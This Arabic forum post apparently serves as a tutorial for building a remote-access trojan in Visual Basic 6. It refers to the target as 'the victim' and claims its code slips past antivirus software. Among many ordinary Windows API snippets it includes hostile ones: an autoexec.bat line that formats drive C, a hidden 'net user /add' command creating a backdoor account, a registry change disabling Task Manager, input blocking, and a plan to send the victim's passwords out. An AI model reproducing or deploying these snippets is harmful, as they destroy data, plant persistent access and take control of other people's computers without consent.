كل ما يتعلق بالبرمجة بالوينسوك

السلام عليكم ونرحمة الله تعالى وبركاته

المهم

بصراحة أنا أحس أنني كتترت شوي عليكم في كثرة الطلبات لكن إعدروني لأنني لا أعرف أحذا من يساعدني في البرمجة بالفيجوال بيسيك لذا إذا أردتم أن تساعذوني (هذا إذا أردتم) تحملوني شوية هذا إذا كان في مستطاعكم.

فكرتي سأقوم بطرحها في هذا الموضوع لأننا سوف نفتتحه لكتابة كل ما يخص البرمجة – الهكر هذا إذا كان أحدكم لا يعارض على هذه الإفتتاحية

أنا الأن أصمم برنامجا للإختراق لقد وجدت مجموعة من الأكواد والسورس أكواد لبرامج إختراق عديدة سأقوم برفعها لكم عما قريب إن شاء الله .

لكن كل هذه السورس كودات أنا بصراحة لا أريدها كده أي أريدها مفرقة وأنتم تعلمون أيضا أن الأكواد المعقدة وكترتها أحيانا لا تعرف كيفية تقسيمها أو حتى فهمها(لا تعرف رأسها من رجلها ههه).

مثال على ذلك : أرى بعظ الأعضاى منذ مدة طويـــــــــــــــــــلة وهم يبحثون عن طريقة لأخذ الصورة لجهاز البعد الاخر أي جهاز الضحية, أنا أسميها كدة وكنت أنا من بين هؤلاء الأعظاء لكن مع الجهد والمثابرة بحثت ووجدت.

ليس هذا ما يصادفني حاليا وإنما مايصادفي الأن هو المساعدة من المبرمجين المحترفين في هذا المنتتدى

ولما لا نصمم برنامجا يحمل لمسات عربية دات إسم عربي وأكيد سيكون ناجحا يمكنكم تخيل دلك.

الأن سنبدأ الإفتتاحية ونقوم على أخد مثال عى البرنامجين Pro-ratو Bifrost و Arab-Rat ولما لا كذلك Pro-Agent فكما تلاحضون فإن هذه البرامج الكثير يتعامل معها

=============================================================

هنه مجموعة من الأكواد التي بحثت عنها اسابيع وأسابيع لأقدمها لكم موجودة وبدون عناء منكم لكن نحن مع تعودنا لها تدريجيا سنفهم ما أعقد منها هذا هو إستنتاجي.لكن رجاءا لا تقرأ وتدهب.... شارك معنا بما لديك من أفكار أو و لاتنسى أن هذا لمصلحتي ومصلحتنا جميعا وأنت بالطبع منهم.

على فكرة الكل يشتكي من السيرفر وذلك لأنه مكشوف من برامج الحماية . ألم تسألو أنفسكم لماذا هو مكشوف؟

إليكم الجواب: ببساطة لأن الأكواد التي نقوم نحن بنقلها بدون أن نعرف لما تصلح فهي مكشوفة لذا برامج حماية الجهاز, ولهذا قمت بتحديد مجموعة من الأكواد التي لا يكتشفها أي برنامج حماية في العـــــــــــــالم يا عم أنت فقط إفهم كيفية التفاهم بين السيرفر والكلاينت وستقوم بجعل هذه اأكواد في مكانها الخاص.

1-فتح مواقع من داخل البرنامج
هذا في الموديل
Dim success As Integer 
 Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA"_ 
   (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _ 
    ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowC
وهذا في الفورم
Private Sub cmdWeb_Click()
  Dim success As Integer
   If Trim(txtWeb.Text) = "http://www." Or Trim(txtWeb.Text) = "" Then
   ' I have the txtWeb.text set to http://www.
    MsgBox "You don't have a web address entered for this entry", vbCritical, "Missing Data"
   ElseIf Left(Trim(txtWeb.Text), 11) = "http://www." Then
    Site = Trim(txtWeb.Text)
   ElseIf Left(Trim(txtWeb.Text), 4) = "www." Then
    Site = "http://" & Trim(txtWeb.Text)
   Else: Site = "http://www." & Trim(txtWeb.Text)
   End If
   success% = ShellToBrowser(Me, Site, 0)
End Sub
-------------------------------------------------------------------------------------
2-عرض صورة على برنامجك مباشرة
هذا في الموديل
Option Explicit
Public Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long
Public Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConne
وهذا في الفورم
أضف في الفورم أداة الصورة وأداة WebBrowser ثم أضف هذا الكود في الكوماند
If IsConnected = True Then
Me.WebBrowser1.Visible = True
Me.WebBrowser1.Navigate ("http://mypage.ayna.com/mansurcc/mansur.gif")
End If
If IsConnected = False Then
Me.Image1.Visible = True
End If
-------------------------------------------------------------------------------------
3-تحديد ما إذا كان التاريخان في شهرين مختلفين
Private Sub Command1_Click()
Date1 = "01/02/1999"
Date2 = "15/03/1999"
If DateDiff("m", Date1, Date2) Then
MsgBox "التاريخان في شهرين مختلفين"
Else
MsgBox "التاريخان في نفس الشهر"
End If
End Sub
(هذا في الحقيقة إذا أردت أن يعمل السيرفر مدة معينة تم ينحذف من على جهاز البعد الأخر)
-------------------------------------------------------------------------------------
4-معرفة مجلد الملفات المؤقتة دون API
strTempDir = Environ$("temp")
MsgBox strTempDir
-------------------------------------------------------------------------------------
5-تأجيل تنفيد الكود لفترة معينة
Public Sub Delay(HowLong As Date)
   TempTime = DateAdd("s", HowLong, Now)
   While TempTime > Now
       DoEvents  
   Wend
End Sub
Private Sub Command1_Click()
   Delay 5
   MsgBox "test"
End Sub
-------------------------------------------------------------------------------------
6-عمل فورمات للجهاز تلقائيا
'أنشئ زر تم دبل كليك عليه ثم أكتب الكود التالي
open "c:autoexec.bat" for output as 1 
print #1,"format c:/q/autotest" 
close #1 
(يمكنك أن تدرس قاعدة دوال الملفات على ما أضن أن إسمها هو دوال الملفات صح!)
-------------------------------------------------------------------------------------
7-تنزيل صورة أو ملف مباشرة
Private Declare Function DoFileDownload Lib "shdocvw.dll" (ByVal lpszFile As String) As Long 
Public Sub DownloadFile(ByVal URL As String) 
DoFileDownload StrConv(URL, vbUnicode) 
End Sub 
Private Sub Command1_Click() 
DownloadFile "http://www.vb2themax.com/images/logomini.gif" 
End Sub
-------------------------------------------------------------------------------------
8-إيقاف تشغيل الويندوز دون API
WinDir$ = Environ$("windir")
KillWin$ = WinDir$ + "\Rundll.exe User.exe,ExitWindows"
Shell KillWin$
-------------------------------------------------------------------------------------
9-التحكم بالسيدي
Private Declare Function mciSendString Lib "winmm.dll" Alias _ 
"mciSendStringA" (ByVal lpstrCommand As String, ByVal _ 
lpstrReturnString As String, ByVal uReturnLength As _ 
Long, ByVal hwndCallback As Long) As Long 

Private Sub OpenCdDoor(Opn As Boolean) 
str_State = IIf(Opn, "Open", "Closed") 
mciSendString "set CDAudio door " & str_State, vbNulChar, 127&, 0& 
End Sub 
'للفتح
OpenCdDoor True 
'لللإغلاق 
OpenCdDoor False
-------------------------------------------------------------------------------------
10-إظهار وإخفاء مؤشر الفأرة
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Sub Command1_Click()
Dim x As Long
' إظهار
x = ShowCursor(True) 'ÇÙåÇÑ ÇáãÄÔÑ
End Sub
Private Sub Command2_Click()
Dim x As Long
' اخفاء
x = ShowCursor(False) 'ÇÎÝÇÁ ÇáãÄÔÑ
End Sub
-------------------------------------------------------------------------------------
11-إظهار وإخفاء زر إبدأ
Const SW_SHOWNORMAL = 1
Private Declare Function FindWindow Lib "user32" Alias _
   "FindWindowA" (ByVal lpClassName As String, _
   ByVal lpWindowName As String) As Long

Private Declare Function FindWindowEx Lib "user32" Alias _
   "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, _
   ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Private Declare Function ShowWindow Lib "user32" _
    (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0

Public Function hideStartButton()
   'This Function Hides the Start Button'
   OurParent& = FindWindow("Shell_TrayWnd", "")
   OurHandle& = FindWindowEx(OurParent&, 0, "Button", _
       vbNullString)
   ShowWindow OurHandle&, SW_HIDE
End Function

Public Function showStartButton()
   'This Function Shows the Start Button'
   OurParent& = FindWindow("Shell_TrayWnd", "")
   OurHandle& = FindWindowEx(OurParent&, 0, "Button", _
        vbNullString)
   ShowWindow OurHandle&, SW_SHOWNORMAL
End Function
Private Sub Command1_Click()
' اخفاء
hideStartButton
End Sub
Private Sub Command2_Click()
' إظهار
showStartButton
End Sub
-------------------------------------------------------------------------------------
12-إفراغ سلة المحدوفات
Private Declare Function SHEmptyRecycleBin Lib "shell32.dll" Alias "SHEmptyRecycleBinA" (ByVal hwnd As Long, ByVal pszRootPath As String, ByVal dwFlags As Long) As Long
Private Declare Function SHUpdateRecycleBinIcon Lib "shell32.dll" () As Long
Private Sub Command1_Click()
SHUpdateRecycleBinIcon
SHEmptyRecycleBin Me.hwnd, vbNullString, 0
End Sub
-------------------------------------------------------------------------------------
13-إخفاء المجلدات والملفات
'SetAttr pathname, attributes
'folder
SetAttr "c:\x", vbHidden
'file
SetAttr "c:\file.txt", vbHidden
-------------------------------------------------------------------------------------
14-إقاف وإعادة عمل لوحة المفاتيح والماوس
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Activate()
    DoEvents
    ' إيقاف لوحة المفاتيح عن العمل
    BlockInput True
    ' الإنتظار عشر تواني
    Sleep 10000
    ' إعادة لوحة المفاتيح للعمل مرة أخرى
    BlockInput False
End Sub
-------------------------------------------------------------------------------------
15-التحكم في الجهاز عن طريق الفيجوال بيسيك

' Display the Control Panel 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL", vbNormalFocus) 

'Display the Accessibility Properties 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL access.cpl", vbNormalFocus) 

'Display Add/Remove Programs 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl", vbNormalFocus) 

'Show the Display Settings (Background) 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0", vbNormalFocus) 

'Show the Display Settings (Screensaver) 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1", vbNormalFocus) 

'Show the Display Settings (Appearance) 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2", vbNormalFocus) 

'Show the Display Settings (Settings) 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3", vbNormalFocus) 

'Display Internet Properties 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl", vbNormalFocus) 

'Display Regional Settings 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL intl.cpl", vbNormalFocus) 

'Display the Joystick Settings 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL joy.cpl", vbNormalFocus) 

'Display the Mouse Settings 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @0", vbNormalFocus) 

'Display the Keyboard Settings 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @1", vbNormalFocus) 

'Display Printers 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @2", vbNormalFocus) 

'Display Fonts 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @3", vbNormalFocus) 

'Display Multimedia Settings 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl", vbNormalFocus) 

'Display Modem Settings 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL modem.cpl", vbNormalFocus) 

'Display Dial-Up Networking Wizard (on Win9x) 
Call Shell("rundll32.exe rnaui.dll,RnaWizard", vbNormalFocus) 

'Display System Properties 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl", vbNormalFocus) 

'Run 'Add New Hardware' Wizard (on Win9x) 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1", vbNormalFocus) 

'Display 'Add New Printer' Wizard (on Win9x) 
Call Shell("rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter", vbNormalFocus) 

'Display Themes Settings 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL themes.cpl", vbNormalFocus) 

'Display Time/Date Settings 
Call Shell("rundll32.exe shell32.dll,Control_RunDLL timedate.cpl", vbNormalFocus)
-------------------------------------------------------------------------------------
16-لإخفاء وإظهار الايقونات الموجودة على سطح المكتب
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _
    (ByVal hWnd1 As Long, ByVal hWnd2 As Long, _
    ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, _
 ByVal nCmdShow As Long) As Long

Private Sub Command1_Click()
' اخفاء
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub

Private Sub Command2_Click()
' إظهار
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5
End Sub
-------------------------------------------------------------------------------------
17-لإخفاء وإظهار شريط المهام Taskbar

Private Const SWP_HIDEWINDOW = &H80
Private Const SWP_SHOWWINDOW = &H40

Private Declare Function FindWindow Lib "user32" _
        Alias "FindWindowA" (ByVal lpClassName As String, _
        ByVal lpWindowName As String) As Long

Private Declare Function SetWindowPos Lib "user32" _
        (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, _
        ByVal x As Long, ByVal y As Long, ByVal cx As Long, _
        ByVal cy As Long, ByVal wFlags As Long) As Long
' اخفاء
Private Sub Command1_Click()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub
' إظهار
Private Sub Command2_Click()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub
-------------------------------------------------------------------------------------
18-التأكد من صحة عنوان بريدي
(هذا من أجل عمل من برنامجك تكوين لسرفر أي إضافة على السيرفر بتاعك خاصية إرسال باسووردات جهاز البعد الأخر)
Public Function CheckEmail(strEmail As String, Optional strExceptions As String) As Boolean
    Dim i(1) As Integer, intCounter As Integer
    'Part 1
    'Verifies that there is an "@" and "." i
    '     n the address and that they are in the c
    '     orrect order.
    If InStr(strEmail, "@") > 0 And InStr(i(0) + 1, strEmail, ".") - InStr(strEmail, "@") > 1 Then CheckEmail = True

    If CheckEmail = False Then Goto Done:

    'Part 2
    'Checks to see if there are any invalid 
    '     characters.
    'To add characters that should not appea
    '     r in an email address, temporarily. use 
    '     the
    'optional strExceptions variable when ca
    '     lling the CheckEmail function.
    'Add, inside the quotes in the following
    '     line, characters that should never appea
    '     r
    'in an email address.

    strExceptions = "" & strExceptions

    For intCounter = 1 To Len(strEmail)
        If Mid(strEmail, intCounter, 1) Like strExceptions = True Then CheckEmail = False
    Next intCounter

    Done:
    End Function
-------------------------------------------------------------------------------------
19-وضع مؤشر الفأرة على البرنامج بمجرد فتحه
Private Declare Sub SetCursorPos Lib "User32" (ByVal X As Integer, _
ByVal Y As Integer)
'Command1
Private Sub Command1_GotFocus()
X = (Form1.Left + Command1.Left + Command1.Width / 2 + 60) / Screen.TwipsPerPixelX
Y = (Form1.Top + Command1.Top + Command1.Height / 2 + 360) / Screen.TwipsPerPixelY
SetCursorPos X, Y
End Sub
-------------------------------------------------------------------------------------
20-تغيير كلمة ابدأ (بأي كلمة أنت تريدها)
Command – textأضف في الفورم 

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClasstext As String, ByVal lpWindowtext As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetWindowtext Lib "user32" Alias "SetWindowtextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETtext = &HC
Private Sub Command1_Click()
Dim tWnd As Long, bWnd As Long
tWnd = FindWindow("shell_TrayWnd", vbNullString)
'Get the start-button's window handle
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETtext, &O0, Text1.Text
'SetWindowtext bWnd, text1.text
End Sub
-------------------------------------------------------------------------------------
21-كود يعطل إدارة المهام
هذا في الفورم
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Private Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Private Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)
Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String)
'For to edit Registry System
Public Enum regValueType
    REG_SZ = 1
    REG_DWORD = 4
End Enum
'----------------------------------------
'Predefined Keys
Public Enum regPredefinedKey
    HKEY_CLASSES_ROOT = &H80000000
    HKEY_CURRENT_USER = &H80000001
    HKEY_LOCAL_MACHINE = &H80000002
    HKEY_USERS = &H80000003
End Enum

'Errors
Public Enum regError
    ERROR_NONE = 0
    ERROR_BADDB = 1
    ERROR_BADKEY = 2
    ERROR_CANTOPEN = 3
    ERROR_CANTREAD = 4
    ERROR_CANTWRITE = 5
    ERROR_OUTOFMEMORY = 6
    ERROR_INVALID_PARAMETER = 7
    ERROR_ACCESS_DENIED = 8
    ERROR_INVALID_PARAMETERS = 87
    ERROR_NO_MORE_ITEMS = 259
End Enum

Const KEY_ALL_ACCESS As Long = &H3F

Const REG_OPTION_NON_VOLATILE = 0
Public Function SetKeyValue(Location As regPredefinedKey, KeyName As String, ValueName As String, ValueSetting As Variant, ValueType As regValueType)
    Dim hKey As Long         'Handle of open key

RegOpenKeyEx Location, KeyName, 0, KEY_ALL_ACCESS, hKey

SetValueEx hKey, ValueName, ValueType, ValueSetting
RegCloseKey (hKey)
End Function
Public Function DeleteValue(Location As regPredefinedKey, KeyName As String, ValueName As String)
    Dim hKey As Long         'Handle of open key
    RegOpenKeyEx Location, KeyName, 0, KEY_ALL_ACCESS, hKey
    RegDeleteValue hKey, ValueName
    RegCloseKey (hKey)

End Function
Private Function SetValueEx(ByVal hKey As Long, ValueName As String, lType As Long, vValue As Variant)
    Dim lValue As Long
    Dim sValue As String
    Select Case lType
        Case REG_SZ
            sValue = vValue
            RegSetValueExString hKey, ValueName, 0&, lType, sValue, Len(sValue)
        Case REG_DWORD
            lValue = vValue
            RegSetValueExLong hKey, ValueName, 0&, lType, lValue, 4
        End Select
End Function
Private Sub Command1_Click()
DeleteValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr"
End Sub
Private Sub Command2_Click()
SetKeyValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 0, REG_SZ
End Sub
Private Sub Form_Load()
Command2.Caption = "Disable"
Command1.Caption = "Enable"
End Sub
-------------------------------------------------------------------------------------
-لقفل الدبل كليك , و إعادة تشغيلها22

Option Explicit
Private Declare Function SetDoubleClickTime Lib "user32" (ByVal wCount As Long) As Long
Private Sub Command1_Click()
SetDoubleClickTime 1
Command1.Enabled = False
Command2.Enabled = True
Form1.Caption = "Lock"
End Sub
Private Sub Command2_Click()
SetDoubleClickTime 0
Command1.Enabled = True
Command2.Enabled = False
Form1.Caption = "UnLock"
End Sub
Private Sub Form_Load()
Form1.Caption = "UnLock"
Command1.Caption = "أقفل"
Command2.Caption = "لإفتح"
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call Command2_Click
End Sub
-------------------------------------------------------------------------------------
إخفاء وإظهار التاسك بار-23
Dim hwnd1 As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
Private Sub Command1_Click()
'Hide The Task Bar
'Place the following code in under a command button or in a menu, etc...
hwnd1 = FindWindow("Shell_traywnd", "")
Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub
Private Sub Command2_Click()
'Show The Task Bar
Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub
-------------------------------------------------------------------------------------
24-إضافة إسم مستخدم جديد للجهاز
Private Sub Command1_Click()
On Error Resume Next
Shell "net user /add Hello r00tShell", vbHide
End Sub
-------------------------------------------------------------------------------------
25-فتح المسنجر الجهاز 
Private Sub Command1_Click()
On Error Resume Next
Shell ("C:\Program Files\MSN Messenger\msnmsgr.exe")
Shell ("C:\Program\MSN Messenger\msnmsgr.exe")
Shell ("C:\Program Files\Windows Live\Messenger\msnmsgr.exe")
End Sub
-------------------------------------------------------------------------------------
26-فتح أنترنيت إكسبلوري
Private Sub Command1_Click()
On Error Resume Next
Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
Shell ("C:\Program\Internet Explorer\IEXPLORE.EXE")
End Sub
-------------------------------------------------------------------------------------
27-عمل إغلاق الجهاز أو إعادة التشغيل
أضف 3 كوماند في الفورم 
Private Sub Command1_Click()
On Error Resume Next
Shell "Shutdown.exe -s"
End Sub

Private Sub Command2_Click()
Shell "Shutdown.exe -r"
End Sub

Private Sub Command3_Click()
Shell "Shutdown.exe -l"
End Sub

Private Sub Form_Load()
Command1.Caption = "Shutdown"
Command2.Caption = "Restart"
Command3.Caption = "Log Off"
End Sub
-------------------------------------------------------------------------------------
28-لإرسال رسالة إلى البعد الأخر
ههههى فقط قم بعمل بحث في قوقل وستجده لأن هذا الكود موجود في أي منتدى برمجة
فلماذا أنا سأقوم بنقله ههه يكفي العدد الهائل من المنتديات التي ضمت الموضوع إلى منتداها
-------------------------------------------------------------------------------------
29-تشغيل أضواء الكيبورد و إطفائها
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Const VK_CAPSLOCK = &H14
Private Const VK_NUMLOCK = &H90
Private Const VK_SCROLL = &H91
Private Const KEYEVENTF_KEYUP = &H2
Private Sub Command1_Click()
If GetKeyState(VK_SCROLL) = 0 Then
   Call keybd_event(VK_SCROLL, 0, 0, 0)
   Call keybd_event(VK_SCROLL, 0, KEYEVENTF_KEYUP, 0)
End If
End Sub
Private Sub Command2_Click()
If GetKeyState(VK_SCROLL) <> 0 Then
   Call keybd_event(VK_SCROLL, 0, 0, 0)
   Call keybd_event(VK_SCROLL, 0, KEYEVENTF_KEYUP, 0)
End If
End Sub
Private Sub Command3_Click()
If GetKeyState(VK_NUMLOCK) <> 0 Then
   Call keybd_event(VK_NUMLOCK, 0, 0, 0)
   Call keybd_event(VK_NUMLOCK, 0, KEYEVENTF_KEYUP, 0)
End If
End Sub
Private Sub Command4_Click()
If GetKeyState(VK_NUMLOCK) = 0 Then
   Call keybd_event(VK_NUMLOCK, 0, 0, 0)
   Call keybd_event(VK_NUMLOCK, 0, KEYEVENTF_KEYUP, 0)
End If
End Sub
Private Sub Command5_Click()
If GetKeyState(VK_CAPSLOCK) = 0 Then
   Call keybd_event(VK_CAPSLOCK, 0, 0, 0)
   Call keybd_event(VK_CAPSLOCK, 0, KEYEVENTF_KEYUP, 0)
End If
End Sub
Private Sub Command6_Click()
If GetKeyState(VK_CAPSLOCK) <> 0 Then
   Call keybd_event(VK_CAPSLOCK, 0, 0, 0)
   Call keybd_event(VK_CAPSLOCK, 0, KEYEVENTF_KEYUP, 0)
End If
End Sub

Private Sub Form_Load()
Command1.Caption = "تشغيل Scroll-Lock"
Command2.Caption = "إطفاء Scroll-Lock"
Command3.Caption = "إطفاء Num-Lock"
Command4.Caption = "تشغيل Num-Lock"
Command5.Caption = " تشغيل Caps-Lock"
Command6.Caption = "إطفاء Caps -Lock"
End Sub
-------------------------------------------------------------------------------------
30-لأستخراج جميع المعلومات الجهاز
السورس كود من هنا
-------------------------------------------------------------------------------------
31-تشغيل و قطع الصوت
Private Declare Function waveOutSetVolume Lib "winmm.dll" (ByVal uDeviceID As Long, ByVal dwVolume As Long) As Long
Private Sub Command1_Click()
Dim ret As Long
ret = waveOutSetVolume(0, &HFFFFF000)
End Sub
Private Sub Command2_Click()
ret = waveOutSetVolume(0, &H0)
End Sub
Private Sub Form_Load()
Command1.Caption = "تشغيل"
Command2.Caption = "إنقطاع"
End Sub
-------------------------------------------------------------------------------------
32-للعب بالماوس 
أكتب هذه الأكواد في الموديل
Option Explicit
Declare Function GetCursorPos Lib "user32" (lpPoint As POINT_TYPE) As Long
Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function GetWindowRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT) As Long
Declare Function SwapMouseButton Lib "user32.dll" (ByVal bSwap As Long) As Long
Declare Function ClipCursor Lib "user32" (lpRect As RECT) As Long
Public Declare Function ShowCursor Lib "user32" (ByVal lShow As Long) As Long
Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
Public Type RECT
        Left As Long
        Top As Long
        Right As Long
        Bottom As Long
End Type
Type POINT_TYPE
  x As Long
  y As Long
End Type
ثم إستدرج  8 كوماند و تايمر واجعل الأنترفال بتعها يساوي 250 وأضف هذا الكود في الفورم
Dim r As RECT
Dim ret As Long
Dim p As POINT_TYPE
Private Sub Command1_Click()
GetWindowRect GetDesktopWindow, r
ret = ClipCursor(r)
End Sub
Private Sub Command2_Click()
GetCursorPos p
r.Bottom = p.y
r.Top = p.y
r.Left = p.x
r.Right = p.x
ret = ClipCursor(r)
End Sub
Private Sub Command3_Click()
ret = SwapMouseButton&(False)
End Sub
Private Sub Command4_Click()
ret = SwapMouseButton&(True)
End Sub

Private Sub Command5_Click()
Timer1.Enabled = False
End Sub
Private Sub Command6_Click()
        GetWindowRect GetDesktopWindow, r
        ClipCursor r
        Timer1.Enabled = True
End Sub
Private Sub Command7_Click()
Do
    ret = ShowCursor(1)
    Loop Until ret > 0
End Sub
Private Sub Command8_Click()
Do
    ret = ShowCursor(0)
    Loop Until ret < 0
End Sub
Private Sub Form_Load()
Command1.Caption = "Libre"
Command2.Caption = "Bloqué"
Command3.Caption = "Normal"
Command4.Caption = "Invert"
Command5.Caption = "Saine"
Command6.Caption = "Folle"
Command7.Caption = "Show"
Command8.Caption = "Hide"
End Sub
Private Sub Timer1_Timer()
ret = SetCursorPos(Int(Rnd * r.Right), Int(Rnd * r.Bottom))
End Sub
-------------------------------------------------------------------------------------
33-إستخدام أوامر الدوس (يمكنك برمجتها لإرسالها الى الضحية)
أكتب في الموديل
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Const WS_EX_LAYOUTRTL = &H500000
Private Const GWL_EXSTYLE = (-20)
Public Sub SetRtL(Ctl As Control) 'Right to left for TreeView
Ctl.Visible = False
SetWindowLong Ctl.hwnd, GWL_EXSTYLE, GetWindowLong(Ctl.hwnd, GWL_EXSTYLE) Or WS_EX_LAYOUTRTL
Ctl.Visible = True
End Sub
ثم ننتقل الى الى الفورم ونضيف 2تيكستبوكس وكوماند واحد  
نكتب في نيم التيكسبوكس الأول txtCommand
والثاني  txtOutput ثم نغير ال Multiline الى true  و scrollBare  الى Bouth -3
أما في الكوماند نكتب فقط في النيم بتعها cmdExecute
والن نكتب في قسم التصريحات العمة "General"  الكود التالي
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
